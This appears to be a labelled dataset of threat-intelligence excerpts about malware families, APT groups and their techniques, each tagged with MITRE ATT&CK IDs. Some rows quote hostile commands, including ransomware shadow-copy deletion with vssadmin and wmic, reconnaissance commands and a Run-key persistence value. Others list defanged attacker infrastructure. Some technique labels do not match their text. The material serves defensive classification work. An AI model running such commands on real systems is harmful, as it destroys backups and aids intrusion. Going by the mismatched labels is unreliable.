"This batch file is responsible for deleting the original sample executable. It queries and stores the current cursor position several times to detect activity and identify if it is being executed in a sandbox or automated analysis environment. These measures are all designed to impede the analysis process and make it more expensive to identify what the malware is actually designed to do from a code execution flow perspective. Below the EAX register is stored in a variable to be reused later in order to allocate a heap memory chunk to initiate its own unpacked code. The malware also uses others techniques to make analysis significantly more difficult, like creating hundreds of case comparisons, which makes tracing code much harder. Below an example of several if conditional statements in pseudo code demonstrating this process and how it can result in impeding the ability to efficiently trace the code. In order to decrypt the malware code it's installs an exception handler, which is responsible for decrypting some memory bytes to continue it's execution. During this execution, the malware will then continue to patch itself and continue execution. The strings are encrypted using an XOR value, however each string uses a separate XOR value preventing an easy detection mechanism. Below is some IDA Python code which can be used to decrypt strings",T1140
"The actors behind the previous FormBook campaign used CVE-2017-0199 - a remote code execution vulnerability in multiple versions of Microsoft Office - to download and open an RTF document from inside a malicious DOCX file. We have also observed newer campaigns being used to distribute Agent Tesla and Loki that are leveraging CVE-2017-11882. An example of one of the malware distribution URLs is in the screenshot below. Many users have the assumption that modern Microsoft Word documents are less dangerous than RTF or DOC files. While this is partially true, attackers can still find ways with these newer file formats to exploit various vulnerabilities",T1105
"The malware communicates with its C&C server via TCP over the 5200 port. The packets' payload is encrypted with RC4 using the password ""warzone160\x00"" (the final null terminator is used as a part of the encryption key",T1573.001
"The 'showBackupIosFolder' command is rather interesting, as it allows the threat actors to determine if a compromised system was used to backup an IOS device, such as an iPhone or iPad. We believe this command is used to determine if a mobile device was backed up, and we speculate that the actors would use other commands within XAgent to exfiltrate those files",T1083 | T1083
"""Online"""" in this case refers to the attacker using the protocol of the targeted network service to quickly run through many password guesses""",T1114.002
"Finally, the script contents of blog-page[.]html schedule the same task (""MSOFFICEER"") to run itself. Revenge RAT used in this instance is not dropped to disk but is instead loaded into the memory of a process using the ""Reflection.Assembly"" PowerShell command. A similar method is used to execute the script content of the command and control locations rather than dropping the scripts to disk and then running them. By scheduling tasks to run scripts and binaries in memory rather than on disk, the threat actors are able to avoid some traditional means of detection",T1053.005 | T1059.003 | T1059.001
commands executed by the command prompt: ECHO VER VER ECHO IPCONFIG /ALL IPCONFIG /ALL ECHO NET LOCALGROUP ADMINISTRATORS NET LOCALGROUP ADMINISTRATORS ECHO NET START NET START ECHO GPRESULT /Z GPRESULT /Z ECHO GPRESULT /SCOPE COMPUTER /Z GPRESULT /SCOPE COMPUTER /Z ECHO SYSTEMINFO SYSTEMINFO,T1082
"Designed to scrape both Track 1 and Track 2 payment card data, PUNCHTRACK is loaded and executed by a highly obfuscated launcher and is never saved to disk",T1027
"Ramsay will scan all the network shares and removable drives (excluding A: and B: drives usually reserved for floppy disks) for potential control files. First, Ramsay looks for Word documents and also, in more recent versions, for PDFs and ZIP archives",T1135
"""Successfully evicting TG-3390 from an environment requires a coordinated plan to remove all access points, including remote access tools and web shells. Within weeks of eviction, the threat actors attempt to access their ChinaChopper web shells from previously used IP addresses. CTU researchers discovered the threat actors searching for """"[company] login,"""" which directed them to the landing page for remote access. After reestablishing access, the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used""",T1608.002
"This payload, (SHA256: 0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff), which we are tracking as MechaFlounder, was developed in Python and bundled as a portable executable using the PyInstaller tool. This secondary payload acts as a backdoor allowing the operator to upload and download files, as well as run additional commands and applications on the compromised system",T1105
"A subset of victims was targeted with data collection executables that were designed to look for removable media (most likely USB flash drives). The implant routinely scans for such drives, specifically targeting removable media (return value of GetDriveType is 2). If found, the implant uses an embedded version of WinRAR to execute these hardcoded commands",T1120 | T1120
"Each value of the config is written to the registry after encrypting them using the DES algorithm. A new registry key is created under HKEY_CURRENT_USER\Software\Classes\ using either the SystemProductName value from the HARDWARE\DESCRIPTION\System\BIOS key or the hardcoded string ""68A-D3H-B1111 as a name",T1112
"It seems that in most cases, the malware sends out data using DNS_TYPE_TEXT requests, while the attackers issue commands separately over the TCP channel with the IP address associated with the DGA-generated subdomain",T1095
"On balance, the fall campaigns diverged from Bulgarian themed NetWire campaigns in the early summer in scope and scale. These campaigns distributed NetWire variants which used Bulgarian email lures, leveraged geofencing, and downloading EXEs through certutils. The low volume and tailored email lures suggest the actor put in effort to evade detection. The NetWire malware has been around since at least 2002 and has been consistently in use by various actors across the threat landscape. This analysis shows groupings of similar campaigns distributing NetWire based on message attributes, email lures and language, Office document metadata, VBA Macro code, and malware configuration",T1204.002
"The OilRig campaign has repeatedly demonstrated a willingness and desire to be iterative in their toolset, while maintaining some level of similarities over time. In this scenario, we were able to directly observe this type of behavior, while also implement a tool thought to be previously unrelated to OilRig. With the inclusion of ISMAgent within the OilRig toolset, we are beginning to see stronger relationships between the various documented groups operating in the Middle East. This region has proven to be a hot bed of espionage motivated activity over the last couple of years, and there appear to be no signs of this changing. As our research continues, our goal will be to generate even better understandings of the true extent of the various operations in this region and the relationships between them",T1059
"ACTINIUM's operational infrastructure consists of many domains and hosts to facilitate payload staging and C2. In a single 30-day snapshot, MSTIC saw ACTINIUM utilizing over 25 new unique domains and over 80 unique IP addresses, demonstrating that they frequently modify or alter their infrastructure",T1583.001
"""X-Session: 0""""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell - A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system""",T1105
"The "".lnk"" files being utilized by Mustang Panda typically contain an embedded HTA script that, once executed, will drop and open the decoy document while the malicious activity of the payload runs in the background. The final type of malicious document we observed were empty, and only contain an image, such as requesting for macros to be enabled, used to distract someone while malicious activity takes place in the background",T1059.001
"With this knowledge, we aim to equip you to stop the WIZARD SPIDER and GRIM SPIDER threat actors well before they have an opportunity to encrypt your data or cause serious harm to your business",T1070.004
"Recipients who click this link are directed to a web page that looks identical or similar to the spoofed library resource. After the victims enter their credentials, their web browsers are redirected to the next.php file, where the credentials are stored locally in the pass.txt file. The victim's browser is then sent to the legitimate site being spoofed (see Figure 2",T1598.003
"The contents of the README file, as well as the ransom message, are again specified in the config. The key requested by the attackers is a combination of the victim's system information and generated encryption metadata (needed to derive the decryption keys for the files), AES encrypted and base64 encoded (see ""File encryption"" section for more details",T1486
"A request to upload data, which might include collected host data or retrieved files which were requested based on the attacker's preferences",T1005
"The campaigns maintain persistence on machines by creating two daily scheduled task entries. The code, meanwhile, is still controlled by the FIN7 actors and may be leveraged in future attacks by the group",T1053.005
"FIN6 has traditionally conducted intrusions targeting payment card data from Point-of-Sale (POS) or eCommerce systems. Given that, FIN6 may have evolved as a whole to focus on these extortive intrusions. Which of those scenarios is happening would influence how pressing a threat the group's card data breach tactics continue to be. Given that these intrusions have been sustained for almost a year, we expect that continued research into further intrusion attempts may enable us to more fully answer these questions regarding FIN6's current status",T1059
"To interact with its C2 server, Kazuar begins its communication by creating an HTTP GET request to use as a beacon. The beacon, generated by the code seen in Figure 5 contains a cookie that has an ""AuthToken"" value that is a base64 encoded GUID used to uniquely identify the compromised system. Kazuar refers to this GUID as an ""agent"" identifier",T1132.001
"For all the fixed drives in the system, the network module stores the disk name and size, as well as computer and user name, Windows directory, host IP, etc. One interesting field is ""vr"":""2.0″ which appears to be the malware version encoded in the communication protocol",T1083
Windows Credential Editor (WCE) - obtains passwords from memory - gsecdump - obtains passwords from memory - winrar - compresses data for exfiltration - nbtscan - scans NetBIOS name servers,T1588.002
FileName: Specified filename - PathToSave: Path to specified file - Execute: Create a process with the specified file - Delete: Delete the specified file - LoadLib: Load the specified DLL into the current process - ReadFile: Reads a specified the file - Rundll: Runs the specified DLL with a specified exported function - IP: Set C2 location - shell: Run additional code in a newly created thread,T1070.004
"In attempt to overcome network filtering solutions, the attackers implemented a stealthier C2 communication method, using ""DNS Tunneling"" - a method of C2 communicating and data exfiltration using the DNS protocol",T1071.004
"Transparent Tribe uses a variety of themes in their lures that evolved over time. The group has leveraged generic themes, such as resumes and CVs, since early 2019. From 2019 and continuing into 2020, the attackers started using honeytrap-themed lures to trick targets into opening ZIP archives and maldocs that posed as pictures of women. These maldocs did not contain popular news topics, as seen in older campaigns, but instead masqueraded as logistical and operational documents for the Indian Armed Forces. But Transparent Tribe's attacks are not limited to only India. In one campaign, the attackers used an Iranian Ministry of Foreign Affairs (MOFA)-themed maldoc to distribute CrimsonRAT in mid-2019. Then, in mid- to late-2020, the attackers targeted diplomatic entities with RAR archives pretending to be related to the British High Commision in Islamabad, Pakistan. In mid-2020, we observed the first instance of conference attendees being targeted in the form of a CrimsonRAT maldoc masquerading as the agenda for an Afghani conference. However, since the start of this year, the group has increasingly used lures disguised as content from Indian government-sponsored conferences",T1204.002
"Using previously stolen credentials the attacker logged into a domain controller and copied tools into the %TEMP% directory. Copied tools included AdFind.exe (Active Directory enumeration utility), a batch script (Figure 2), and a copy of the 7-Zip archive utility. AdFind.exe was executed using the previously noted batch script, which was crafted to pass the utility a series of commands that were used to collect information about Active Directory users, systems, OUs, subnets, groups, and trust objects. The output from each command was saved to an individual text file alongside the AdFind.exe utility (Figure 2). - This process was performed twice on the same domain controller, 10 hours apart. Between executions of Adfind the attacker tested access to multiple domain controllers in the victim environment, including the one later used to deploy Ryuk. The attacker logged into a domain controller and copied instances of PSExec.exe, a batch script used to kill processes and stop services, and an instance of Ryuk onto the system",T1482
"Previously the Iron group developed and spread cryptocurrency miners or cryptocurrency transaction hijacking trojans mainly for Microsoft Windows and only a few for Linux. Instead, Xbash aimed on discovering unprotected services, deleting victim's MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Xbash uses three known vulnerabilities in Hadoop, Redis and ActiveMQ for self-propagation or infecting Windows system",T1486
The Bazar loader and Bazar backdoor are named after their use of EmerDNS blockchain domains. Using Bazar domains has been trending recently among cybercriminals because they are able to evade takedowns and sinkholing that disrupts botnet communications,T1036.005
"All FakeM variants initiate communications with its C2 server and check the C2's response for a command. Also, all FakeM variants share a common command handler with the same capabilities, as seen in Table 2. The limited command set suggests that FakeM's functionality is obtained by additional assembly code provided by the C2 server with the 0x211 command",T1083 | T1217 | T1057
"The executable file is the Crimson ""Thin Client"", which allows the attacker to gain basic information about the infected machine, collect screenshots, manipulate the file system and download or upload arbitrary files",T1518.001
"In this attack, the attackers exploit a misconfigured Docker API port to run an Ubuntu container with the kinsing malicious malware, which in turn runs a cryptominer and then attempts to spread the malware to other containers and hosts. Our analysis of this attack vector exposes the techniques used, starting with exploiting the open port, through evasion tactics and lateral movement, all the way up to the end-goal of deploying the cryptominer",T1610
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ setting the key ""bookstore"" to the value ""regsvr32 %path%\ctfmonrn.dll /s"", which ensures the malware runs every time at system boot",T1547.001 | T1218.010
"The cybersecurity community has long known that any information technology tool that is used for legitimate purposes can also be manipulated by attackers to enhance their malware. Recently, however, many native Windows OS processes are being used for malicious purposes as well",T1204.001
"The droppers and downloader family names tend to be fast-moving targets due to the heavy use of obfuscation and simple functionality. For example, PowerPunch is executed from within PowerShell as a one-line command, encoded using Base64",T1105
"""Figure 2 - Data contained within the """"cookie:"""" header of the initial traffic to the remote C2, being encrypted with RC6""",T1573.001
"The commands executed were used for discovery purposes, listing members of privileged groups and network information",T1069
"Fake domains . Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. Malicious file-sharing domains . Transparent Tribe also regularly registers domains that appear to be legitimate file- and media-sharing services. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. Transparent Tribe also delivers malicious archives containing CrimsonRAT executables using various themes, including honeytraps. Transparent Tribe uses generically themed content-hosting domains as well as malicious domains masquerading as legitimate defense-related websites. 55: How Transparent Tribe could e. Threat Source newsletter (May 27, 2021) Elizabethan England has nothing on modern-day Russia Vulnerability Spotlight: Multiple vulnerabilities . Threat Roundup for May 14 to May 21 Talos Takes Ep. 55: How Transparent Tribe could e. - Threat Source newsletter (May 27, 2021) - Elizabethan England has nothing on modern-day Russia - Vulnerability Spotlight: Multiple vulnerabilities . - Threat Roundup for May 14 to May 21 - Talos Takes Ep",T1204.001
The backdoor collects the victim's MAC address using the GetAdaptersInfo API. These IDs are then passed to the C&C server as one of the POST body parameters (MAC address is sent encrypted as discussed later,T1016
"The malware has been known to proliferate through network shares, removable drives, or software vulnerabilities. The recent instances we have observed were spread through emails with malicious links",T1091
"KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control flow, malware replaces the USER32. Once the flow is hijacked and malicious code is executed the rest of the code takes care of restoring the KernelCallbackTable to its original state",T1574.013
"The payload created by the initial spear-phishing document loads the next stage as a backdoor running in-memory - the ThreatNeedle backdoor. The actor uses it to carry out initial reconnaissance and deploy additional malware for lateral movement. When moving laterally, the actor uses ThreatNeedle installer-type malware in the process. This installer is responsible for implanting the next stage loader-type malware and registering it for auto-execution in order to achieve persistence",T1047
"If the connection is successful, the following file name extensions are searched for within removable, fixed, or networked drives: doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z. Candidate files are queued up for upload. They are also inventoried via a specific MD5 hash value computed based on attributes of the target file and compromised host, such as the volume serial number, file size, and last write timestamp assigned to the file. Computed hashes are logged to an inventory log file that serves as a reference point checked by the malware to avoid duplicate exfiltration",T1083 | T1135 | T1120
"The third set of URLs is used to download the Tor client. We believe the client is decrypted using the configuration serpent key [7]. When the Tor client is retrieved, the bot creates a registry key named ""TorClient"" in the registry subfolder to store its data. This subfolder is located in HKCU\\Software\AppDataLow\Software\Microsoft\{random guid}. This key contains the path to the client, which is dropped in the %TMP% folder, with a filename using the pattern [A-F0-9]{4}.bin",T1027 | T1140
"LoudMiner is an unusual case of a persistent cryptocurrency miner, distributed for macOS and Windows since August 2018. It uses virtualization software - QEMU on macOS and VirtualBox on Windows - to mine cryptocurrency on a Tiny Core Linux virtual machine, making it cross platform. The miner itself is based on XMRig (Monero) and uses a mining pool, thus it is impossible to retrace potential transactions",T1496 | T1564.006
"The Anchor payload is delivered by AnchorInstaller AnchorInstaller unpacks the Anchor DLL and drops it in the %SYSTEMROOT% or %SYSTEMROOT%\System32 folder. The dropped DLL is loaded by the service netTcpSvc, which is created by the malware",T1569.002
Suspicious obfuscation or deobfuscation activity - Suspicious script execution - A script with suspicious content was observed - PowerShell dropped a suspicious file on the machine - Anomalous process executing encoded command - Suspicious dynamic link library loaded - An anomalous scheduled task was created - An uncommon file was created and added to a Run Key - Suspicious screen capture activity - Staging of sensitive data - Suspicious process transferring data to external network,T1053.005
Most of the plugins included in this sample were obfuscated with Eazfuscater.NET 3.3 and easily deobfuscated using de4dot,T1027
"The second, which ran from September 20 to 21, used an exploit for CVE-2017-8759 (patched last September), a code injection/remote code execution vulnerability in Microsoft's .NET Framework. The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled. We also saw other threat actors using the same security flaw of late, like the cyberespionage group ChessMaster",T1203
The malware sends an HTTP GET request to its C2 IP address using HTTP over port 443. Figure 8 shows the GET request sent over the network,T1560.003
"Collects system, network and drive information and installed applications, saves it to a file named ""info"" and sends it to the C2 using iexplorer.exe",T1005 | T1074.001
"First, the threat actor used a compromised O365 administrator account to create a new Service Principal with a generic name. This Service Principal was granted company administrator privileges. From there, the threat actor added a credential to this Service Principal so that they could access the Service Principal directly, without use of an O365 user account",T1098.003 | T1078.004
"Usually comes as a DLL instead of an EXE file. By using the malware as a DLL, they can inject this module into a target process more easily than if they use an EXE sample of the malware",T1055.001
"""When the Trojan runs as an executable within the """"DsvHelper"""" folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the 'DsvHelper' folder""",T1547.009 | T1547.001
Further the Avaddon ransomware deletes the volume shadow copies via wmic.exe SHADOWCOPY /nointeractive and vssadmin.exe Delete Shadows /All /Quiet,T1490 | T1047
"Listing running processes is also one of the capabilities of this malware and it stores that information in the 08.txt file, and this looks like the listing below",T1057
"Analysis of several backdoors identified in this recent operation revealed that Turla has relied on traditional C&C implementations, using compromised web servers as C&C, as well as utilizing legitimate web services like Pastebin. Additionally, one analyzed sample of Kazuar is configured for commands sent through likely internal nodes in the government's network, while others use the more traditional method of external C&C nodes",T1102
"The screen capture utility appeared to be used for initial information gathering, as it was only used briefly at the beginning of each infection and not seen again. The information stealer was capable of stealing the contents of the clipboard, taking screenshots, recording keystrokes and stealing files and user credentials. After this initial activity, the attackers usually downloaded more of their tools to the computer using a PowerShell downloader and began moving across the victim's network",T1115 | T1113
For indicator removal on host: Timestomp the adversary uses a Windows version of the Linux touch command. This makes sure the used tools by the adversary blend in with the other files in the directory when shown in a timeline. Creating a timeline is a common thing to do for forensic analysts to get a chronological view of events on a system,T1070.006
Persistence using autorun keys - • Keylogger - • Directory and file listing - • Downloading secondary payloads from the C2 server - • Exfiltrating collected information from the host to the C2 server - • Executing arbitrary commands via cmd.exe or PowerShell,T1041
"""Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES. However, they all used the same key """"agkrhfpdbvhdhrkj"""". The loader's main goal was to run a PowerShell command to execute shellcode. We found the PowerShell command used by Fetch within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents. The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL""",T1059.001 | T1027
"Comparison between what malware is eventually used in active campaigns versus in-development malware allows us to understand what adaptations and modifications were made to each iteration of malware. Additionally, witnessing specific functionality changes within the malware itself, we attempt to make correlations between the new and old functionality. We were also able to gain insight into OilRig's operational tempo by comparing the timestamps of files created during testing and the file delivered in an actual attack. We determined that OilRig began their testing activities 6 days prior to an attack, which ended 8 hours before the creation of the document that the actors delivered via a spear-phish email 20 minutes later",T1059.003 | T1059.003
"Sometimes the Winnti team registered their C&C units with public hosts. Judging by the samples identified, these C&C centers were subdomains of such domains as 6600.org, 8866.org, 9966.org or ddns.net",T1583.001
"""The parameters for each command are issued in hexadecimal format. For instance, the character A would be represented by the two characters 41, which is the hexadecimal representation of that character. This hexadecimal format is used extensively throughout this Trojan. The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\tmpCa.vbs. The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure: domain>/resp. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command prompt output)> The upload command (2) writes data provided by the C2 to a specified file. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(""""File Uploaded"""")> The download command (3) reads the contents of a specified file and sends the data to the C2 server. If the file does not exist, the Trojan will send the C2 server a message < File Not Found > by sending the following URL: domain>/resp. The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data""",T1132.001
"The script shown in Figure 4 is almost identical to the one used by the script contents of 29[.]html (in Figure 3), the only difference being the absence of a sleep command and the usage of the ""forfiles"" utility",T1202
"As does Crutch v3, it persists using DLL hijacking. However, in this case the host application is an old Microsoft Outlook component that is dropped on the compromised system by the operators",T1574.001
"While observing the malware's interaction with the second domain, lookplease.c1[.]biz, two text files were subsequently identified containing text encoded with the same custom base64 alphabet used previously. When decoded, these files were found to contain additional commands to be executed on the infected host",T1027
"""The exact file downloaded depends on the victim's system architecture. We visited this IP and found it was an open HFS hosting """"0720.bin"""" along with 10 additional files: """"3307.bin,"""" """"a7,"""" """"bashf,"""" """"bashg,"""" """"config.json,"""" """"lowerv2.sh,"""" """"pools.txt,"""" """"r88.sh,"""" """"rootv2.sh"""" and """"TermsHost.exe. The script downloads a file from GitHub called """"libprocesshider,"""" which hides a file called """"x7"""" using the ID preloader. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. Lowerv2.sh"""" and """"rootv2.sh"""" are similar shell scripts that attempt to download and execute the mining malware components """"bashf"""" and """"bashg,"""" hosted on 118[.]24[.]150[.]172. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called """"XbashY"""" from 3g2upl4pq6kufc4m[.]tk. This miner can be purchased online for $14 and targets malicious actors. The sample grabs the config file """"xmr.txt,"""" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. The actor . Through Rocke's MinerGate Monero wallet email rocke@live.cn, we were able to uncover additional information about the actor. It appears that they are relying on fake Google Chrome alerts, fake apps, and fake Adobe Flash updates to social engineer users into downloading malicious payloads""",T1105
Store the AES key/IV and other metadata of the target file in a memory block and encrypt it using an embedded public RSA key (See Appendix section for a detailed description of the memory block,T1486
"Egregor downloads custom dynamic link libraries (b.dll, q.dll, etc) using bitsadmin and execute them on victim's systems to encrypt data",T1197
"This is done most likely to force a reboot or dupe the user into restarting the machine. Terminating csrss.exe and wininit.exe, for instance, will cause a blue screen of death (BSOD). Terminating winlogon.exe will prompt the user to log in again, while terminating lsass.exe will cause a reboot. KillDisk also uses the ExitWindowsEx function to forcefully restart the machine",T1529
NetWire is a publicly-available RAT that has been used by criminal organizations and other malicious groups since 2012,T1566.001 | T1566.002 | T1204.001 | T1204.002 | T1566.002
"""The """"rr.exe"""" payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts. In the example above, the """"spp.exe"""" executable would be added to an auto-run registry key at""",T1547.001
"Turla has extensively used Carbon, a modular backdoor framework with advanced peer-to-peer capability, for several years. A June 2020 analyzed instance of the Carbon backdoor augmented the traditional threat actor-owned C&C infrastructure with tasks served from Pastebin, a legitimate web service. The Carbon installer discovered by ACTI analysts dropped a Carbon Orchestrator, two communication modules, and an encrypted configuration file",T1027
"Given their capability and sophistication, it is unlikely that IRON RITUAL's intrusions will leave sufficient artifacts to allow researchers to associate their activities with previous or future Russian cyber espionage operations. The group has used malware including the SUNBURST (also known as Solorigate) backdoor and in-memory Cobalt Strike delivered using the TEARDROP and RAINDROP loaders",T1484.002
"FancyBear/APT28, a threat actor attributed to Russia GRU, has conducted several large credential phishing campaigns targeting ukr.net users, UkrNet is a Ukrainian media company. The phishing emails are sent from a large number of compromised accounts (non-Gmail/Google), and include links to attacker controlled domains",T1598.003 | T1586.002
"We have observed Netwalker ransomware attacks that involve malware that is not compiled, but written in PowerShell and executed directly in memory and without storing the actual ransomware binary into the disk",T1059.001
"During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430...), configured to attempt to download an additional payload from 220.158.216[.]127. The DDE instructions also included another command that it did not run, which suggests it is an artifact of a prior version of this delivery document. The following shows this unused command, which exposed an additional server within Sofacy's infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102",T1105
WildFire detects malware samples used by this campaign. An Autofocus tag has been created for tracking CobaltGang actor group,T1059.003
"The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications",T1071.004
"Copy itself into ""C:\ProgramData\Software\ESTsoft\Common"" and rename itself as ESTCommon.dll to pretend it is a DLL that belongs to ESTsecurity company",T1036.005
"The fifth-level subdomain is a data sequence number that allows the C2 server to reassemble the data, which will start with 1 and increment by 60 as the DNS tunneling protocol sends 60-bytes of encoded ciphertext within each DNS request. The fourth-level subdomain contains the 60-bytes of encoded ciphertext that RDAT sends to the C2, while the third- and second-level subdomains are the same as the beacon. In the above example, the AES key and IV would be tJ8ztJ8ztJ8ztJ8z, which would decrypt the third-level subdomain to the following cleartext",T1573.001 | T1001
"For each folder discovered, it will enter it and search for more subfolders and files. The first step is to check the name of the folder/file found against a hardcoded list of hashes with the same algorithm used to detect the processes to close",T1083
"read By Josh Grunzweig and Jen Miller-Osborn . November 10, 2017 at 1:00 PM . Category: Unit 42 . Tags: Reaver, SunOrcal . Summary Unit 42 has discovered a new malware family we've named ""Reaver"" with ties to attackers who use SunOrcal malware. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. While we don't have information on the intended targets in this case, previous reports on this activity have identified targeting primarily among the ""Five Poisons"" which are movements the Chinese government perceives as dangerous. Reaver Malware Analysis To date, Palo Alto Networks Unit 42 has identified 10 unique samples and three distinct variants of a new malware family we have named ""Reaver"". As such, we identify each variant as Reaver.v1, Reaver.v2, and Reaver.v3. The flow for Reaver is as shown: Figure 1 Reaver execution flow diagram . Reaver.v1 The earliest variant of Reaver begins by attempting to enable the SeDebugPrivilege privilege for the running process. A shortcut file is generated in the following path: - %TEMP%\~Update.lnk This '~Update.lnk' file is then copied to a filename of 'Windows help.lnk', which is placed in the startup path previously identified. It will specifically load this CPL file via a call to the built-in Microsoft Windows 'control.exe' utility. Data that is sent is compressed and then base64-encoded before being included in the requests. The following example Python code shows how this encryption takes place: After this data is exfiltrated, the malware expects 8 bytes of data that contains two DWORDs. AutoFocus customers can monitor activity using this malware with the following tags: Reaver SunOrcal - Reaver - SunOrcal Get updates from Palo Alto Networks",T1082
"To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points",T1003.001
"""The oldest version of Bisonal we identified was compiled on Dec. The attacker created a Windows library (.dll) designed as a Windows service (ServiceMain() entry point). When executed, the malware uses the Windows API to communicate with the Service Control Manager (SCM) and finally execute a thread. The C2 server of this first Bisonal variant is young03[.]myfw[.]us (port 8888). We can notice the usage of a dynamic DNS service. This is a Bisonal pattern. Even the newest version we identified used this kind of service. In this campaign, the rollback was not used as it is configured to localhost. The communication to the C2 server is performed by using raw sockets: The first action of the malware is to send the hostname of the infected system and the """"kris0315"""" string""",T1568 | T1106
"The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests. The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses. The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data",T1041 | T1071.001
"As far as SPEAR could tell, all scripts were designed to be executed using Python v2.7. The group relied heavily on TLS-encrypted FTP using Python's native ftplib library to transfer data out of target environments. The samples would also test connectivity to the C2 via HTTP requests using Python's urllib library",T1059.006
"In this particular attack, we discovered that the C&C server of EmailStealer had an open directory, allowing us to view the information that EmailStealer stole. We presume the information, primarily comprised of lists of email addresses, will be used in future attacks",T1087.003
"In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f",T1569.002 | T1059.003
"The multi-stage infection chain downloads a payload that wipes the MBR, then downloads a malicious DLL file hosted on a Discord server, which drops and executes another wiper payload that destroys files on the infected machines",T1102
"For initial compromise, FireEye Intelligence has observed APT39 leverage spear phishing emails with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection. APT39 frequently registers and leverages domains that masquerade as legitimate web services and organizations that are relevant to the intended target",T1566.002 | T1505.003 | T1566.001 | T1078
"""Cisco Talos has discovered a new malware campaign based on a previously unknown family we're calling """"PoetRAT. The droppers are Microsoft Word documents that deploy a Python-based remote access trojan (RAT). We named this malware PoetRAT due to the various references to William Shakespeare, an English poet and playwright. The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. The campaign shows us that the operators manually pushed additional tools when they needed them on the compromised systems. We will describe a couple of these tools. The most interesting is a tool used to monitor the hard disk and exfiltrate data automatically. In addition to the malware campaigns, the attacker performed phishing a campaign on the same infrastructure""",T1125
"an identifier unique for each victim (generated via CoCreateGuid API) - executable name and path - geolocation of the victim (retrieved via - strings necessary for creating and deleting the startup .LNK file - notes specific to the victim device (the C&C operator supplies these, if any, via a backdoor command) - flags to indicate an action has already been performed, such as stealing Google Chrome stored credentials stealing Outlook data - stealing Google Chrome stored credentials - stealing Outlook data",T1555.003
"In order to execute the payload, the attackers take advantage of a technique called DLL Search Order Hijacking. Once the malicious DLL is loaded, it will decrypt a part of its own code using a XOR loop (see Figure 4), patch the entry point of the legitimate executable and jump again, back to the malicious DLL (see Figure 5",T1574.001
MCMD communicates to a HTTPS URL serving a PHP-based C2 panel hosted on likely compromised web servers,T1071.001
"Egregor masquerades svchost.exe process to launch an RClone client in order to exfiltrate data. Based on investigations and OSINT, we know that Egregor used at least three different configurations to exfiltrate data",T1036.004
"BRONZE BUTLER has used a broad range of publicly available (Mimikatz and gsecdump) and proprietary (Daserf and Datper) tools. It appears to have been sufficiently resourced to continuously develop and replace its proprietary tools over a long period of time. The threat actors developed remote access tools and malware that generate and use encrypted C2 communication, presumably to complicate detection and mitigation",T1003.001
